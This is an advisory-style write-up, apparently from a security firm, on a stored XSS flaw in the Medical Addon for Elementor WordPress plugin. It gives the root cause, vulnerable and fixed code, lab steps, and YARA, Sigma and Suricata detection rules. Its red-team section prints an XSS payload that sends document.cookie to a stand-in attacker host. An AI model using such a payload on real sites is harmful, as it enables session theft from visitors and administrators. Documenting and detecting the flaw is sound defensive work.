CVE-2024-44024

Executive Summary

CVE-2024-44024 is a Stored Cross-Site Scripting (XSS) vulnerability in the Medical Addon for Elementor WordPress plugin, developed by Nicheaddons. The flaw exists in versions up to and including 1.6.4, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts that execute in the context of any user viewing the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from Nicheaddons and apply patches immediately when available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authentication but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability resides in the medical-addon-for-elementor plugin, which extends the Elementor page builder with medical-themed widgets. The plugin fails to sanitize or escape user input when rendering dynamic content, allowing an attacker to inject arbitrary JavaScript. The stored XSS payload is persisted in the WordPress database and executed when any user (including administrators) views the affected page.

Root Cause: The plugin uses echo or the_content filters without applying esc_html() or wp_kses_post() to user-supplied data. This allows HTML/JavaScript to be stored and rendered unsanitized.

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates or edits a page/post using the Medical Addon for Elementor.
3. Attacker injects a malicious script into a widget field (e.g., title, description, or custom CSS).
4. The script is stored in the database.
5. When an administrator or visitor loads the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.6.4):

// In a widget render method
echo '<div class="medical-widget">' . $instance['title'] . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="medical-widget">' . esc_html( $instance['title'] ) . '</div>';

The vulnerable code directly outputs user input without sanitization. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with Medical Addon for Elementor v1.6.4 on a local server.
2. Create a contributor account.
3. Inject payload: In a widget's title field, enter:

   <script>alert('XSS')</script>
   

4. Trigger: Log in as admin and visit the page. The script executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Monitor logs: Look for unusual widget updates by non-admin users.
2. Scan pages: Use a web application scanner to detect stored XSS.
3. Harden: Apply input validation and output encoding. Use Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/medical-addon-for-elementor/ (version <= 1.6.4)
• Database: Suspicious entries in wp_posts or wp_postmeta containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: wp-content/debug.log entries showing PHP warnings related to unsanitized output.

Detection Engineering

YARA Rule

rule CVE_2024_44024_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Medical Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-44024"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = "medical-addon-for-elementor"
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Medical Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Medical Addon for Elementor plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "medical-addon-for-elementor"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44024 Stored XSS Attempt"; flow:to_server; content:"medical-addon-for-elementor"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Medical Addon for Elementor plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in widget fields.
3. Long-term: Apply output encoding (esc_html(), wp_kses_post()) in all plugin templates. Update to the latest version when released.
4. Monitor: Review WordPress logs for unauthorized widget modifications.

Valters IT – Securing digital ecosystems with precision.